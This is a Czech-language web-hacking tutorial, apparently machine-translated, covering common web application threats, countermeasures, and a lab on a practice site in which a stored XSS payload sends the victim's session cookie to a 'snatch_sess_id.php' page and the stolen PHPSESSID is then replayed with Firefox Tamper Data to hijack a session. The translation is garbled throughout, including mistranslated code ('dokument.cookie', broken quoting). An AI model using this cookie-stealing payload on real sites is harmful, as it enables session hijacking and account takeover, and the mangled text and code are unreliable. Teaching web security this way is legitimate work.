Více lidí má přístup k internetu, než kdy předtím. To přimělo mnoho organizací k vývoji webových aplikací, které mohou uživatelé používat online k interakci s organizací. Špatně napsaný kód pro webové aplikace lze využít k získání neoprávněného přístupu k citlivým datům a webovým serverům.

v tomto tutoriálu se dozvíte, jak hackovat webové stránky, a představíme vám techniky hackerství webových aplikací a protiopatření, která můžete zavést k ochraně před takovými útoky.

témata obsažená v tomto tutoriálu

• co je webová aplikace? Co jsou webové hrozby?
• jak chránit vaše webové stránky před hacky?
• webové stránky hacking triky: Hack webové stránky online!

co je webová aplikace? Co jsou webové hrozby?

webová aplikace (aka website) je aplikace založená na modelu klient-server. Server poskytuje přístup k databázi a obchodní logiku. Je hostován na webovém serveru. Klientská aplikace běží na klientském webovém prohlížeči. Webové aplikace jsou obvykle psány v jazycích jako Java, C# a VB.Net, PHP, ColdFusion značkovací jazyk, atd. databázové motory používané ve webových aplikacích zahrnují MySQL, MS SQL Server, PostgreSQL, SQLite atd.

většina webových aplikací je hostována na veřejných serverech přístupných přes Internet. Díky tomu jsou zranitelní vůči útokům díky snadné dostupnosti. Níže jsou uvedeny běžné hrozby webových aplikací.

• SQL Injection-cílem této hrozby by mohlo být obejít přihlašovací algoritmy, sabotovat data atd.
• Odmítnutí Útoků Služby– cílem této hrozby by mohl být popírat oprávněným uživatelům přístup k prostředku
• Cross Site Scripting XSS– cílem této hrozby by mohlo být aplikovat kód, který může být spuštěn na straně klienta v prohlížeči.
• otrava Cookie/relací-cílem této hrozby je upravit soubory cookie/data relace útočníkem za účelem získání neoprávněného přístupu.
• manipulace s formuláři-cílem této hrozby je upravit data formuláře, jako jsou ceny v aplikacích elektronického obchodování, aby útočník mohl získat položky za snížené ceny.
• Code Injection-cílem této hrozby je vložit kód, jako je PHP, Python atd. to lze provést na serveru. Kód může instalovat zadní vrátka, odhalit citlivé informace atd.
• Defacement-cílem této hrozby je Upravit stránku zobrazenou na webu a přesměrovat všechny požadavky na stránku na jednu stránku, která obsahuje zprávu útočníka.

jak chránit vaše webové stránky před hacky?

organizace může přijmout následující zásady, aby se chránila před útoky webového serveru.

• SQL Injection– dezinfekce a ověřování uživatelských parametrů před jejich odesláním do databáze ke zpracování, může pomoci snížit pravděpodobnost být napaden přes SQL Injection. Databázové motory jako MS SQL Server, MySQL atd. parametry podpory a připravené prohlášení. Jsou mnohem bezpečnější než tradiční SQL příkazy
• útoky odmítnutí služby-brány firewall lze použít k poklesu provozu z podezřelé IP adresy, pokud je útok jednoduchým Dosem. Správná konfigurace sítí a systému detekce narušení může také pomoci snížit šance na úspěšný útok DoS.
• Cross Site Scripting-ověřování a dezinfekce záhlaví, parametry předané přes URL, parametry formuláře a skryté hodnoty mohou pomoci snížit XSS útoky.
• Cookie/Session Otravy– to může být zabráněno tím, že zašifruje obsah cookies, načasování se soubory cookie po určité době, příponu cookies s klientem IP adresu, která byla použita k jejich vytvoření.
• temperování formy-tomu lze předejít ověřením a ověřením vstupu uživatele před jeho zpracováním.
• vstřikování kódu-tomu lze zabránit tím, že se všemi parametry zachází spíše jako s daty než se spustitelným kódem. K tomu lze použít dezinfekci a validaci.
• Defacement-dobrá bezpečnostní politika pro vývoj webových aplikací by měla zajistit, že utěsní běžně používané chyby zabezpečení pro přístup k webovému serveru. Může se jednat o správnou konfiguraci operačního systému, softwaru webového serveru a osvědčených bezpečnostních postupů při vývoji webových aplikací.

webové Stránky hacking triky: Hack webové Stránky on-line

tato webová stránka hacking praktické scénář, budeme se zmocnit relace uživatele z webové aplikace se nachází na www.techpanda.org. Použijeme skriptování mezi weby ke čtení ID relace cookie a poté jej použijeme k vydávání se za legitimní relaci uživatele.

předpokládá se, že útočník má přístup k webové aplikaci a chtěl by unést relace jiných uživatelů, kteří používají stejnou aplikaci. Cílem tohoto útoku by mohlo být získání přístupu administrátora k webové aplikaci za předpokladu, že přístupový účet útočníka je omezený.

začínáme

• Open http://www.techpanda.org/
• Pro účely praxe, je důrazně doporučeno získat přístup pomocí SQL Injection. Další informace o tom, jak to udělat, naleznete v tomto článku.
• přihlašovací e-mail je Tato e-mailová adresa je chráněna před spamboty. Chcete-li ji zobrazit, povolte JavaScript. heslo je Password2010
• Pokud jste se přihlásili úspěšně, pak budete mít následující dashboard

• Klikněte na Přidat Nový Kontakt
• Zadejte následující jako první jméno

<a href=# onclick=\“document.location=\ ‚http://techpanda.org/snatch_sess_id.php?c=\’+escape\(dokument.cookie\)\;\“>Tmavě<>

TADY,

výše uvedený kód používá JavaScript. Přidá hypertextový odkaz s událostí onclick. Když nic netušící uživatel klikne na odkaz, událost načte ID relace PHP cookie a odešle jej snatch_sess_id.php stránka spolu s session id v URL

• Zadání zbývajících informací, jak je uvedeno níže
• Klikněte na Uložit Změny

• Vaše deska bude nyní vypadat jako na následující obrazovce

• Od cross site script kód je uložen v databázi, to bude naloženo pokaždé, když uživatelé s přístupovými právy přihlášení
• předpokládejme, že správce přihlášení a kliknutí na hypertextový odkaz, který říká, že Tmavé
• On/ona bude mít okno s id relace ukazuje, že v URL

Poznámka: skript by mohl být odeslání hodnoty na vzdálený server, kde PHPSESSID je uložen pak uživatel přesměrován zpět na webové stránky, jako kdyby se nic nestalo.

Poznámka: hodnoty, které dostanete, může být odlišný od toho, v této webové stránce hacking tutorial, ale koncept je stejný

Zasedání Zosobnění pomocí Firefox a Tamper Data add-on

vývojový diagram níže ukazuje kroky, které musíte podniknout, aby dokončení tohoto cvičení.

• Budete potřebovat webový prohlížeč Firefox pro tuto sekci a Tamper Data add-on
• Otevřete Firefox a nainstalovat doplněk, jak je znázorněno v níže uvedené diagramy

• Vyhledávání pro tamper data a pak klikněte na tlačítko nainstalovat, jak je uvedeno výše

• Klepněte na tlačítko na Přijmout a Nainstalovat…

• Klikněte na Restartovat nyní, když se instalace dokončí
• Povolit panelu nabídek v prohlížeči Firefox, pokud není uvedeno

• Klikněte na nabídku nástroje a pak vyberte Tamper Data, jak je znázorněno níže

• zobrazí se následující okno. Poznámka: Pokud systém Windows není prázdný, hit na tlačítko vymazat

• Klikněte na Start Tamper menu
• Přepnout zpět na Firefox webový prohlížeč, zadejte http://www.techpanda.org/palubní deska.php pak stiskněte klávesu enter, aby zatížení na stránku
• Budete se následující pop-up z Tamper Data

• pop-up okno má tři (3) volby. Volba Tamper umožňuje upravit informace o hlavičce HTTP před odesláním na server.
• Klikněte na
• získáte následující okno

• Kopírovat PHP session ID, které jste zkopírovali z útoku URL a vložit ji po znaménko rovná se. Vaše hodnoty by měl nyní vypadat takto

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Klikněte na tlačítko OK
• Budete mít Tamper data popup okno znovu

• zrušte Zaškrtnutí políčka, která se ptá i Nadále Manipulace?
• Klikněte na tlačítko „odeslat“, kdy udělal
• měli Byste být schopni vidět palubní desky, jak je znázorněno níže

Poznámka:: nechtěli jsme přihlášení, předstírali jsme, že jsme přihlašovací relace pomocí PHPSESSID hodnoty jsme získali pomocí cross site scripting

Shrnutí

• webová aplikace je založena na server-client model. Klientská strana používá webový prohlížeč pro přístup k prostředkům na serveru.
• webové aplikace jsou obvykle přístupné přes internet. To je činí zranitelnými vůči útokům.
• hrozby webových aplikací zahrnují SQL Injection, Code Injection, XSS, Defacement, otravu Cookie atd.
• dobrá bezpečnostní politika při vývoji webových aplikací může pomoci zajistit jejich bezpečnost.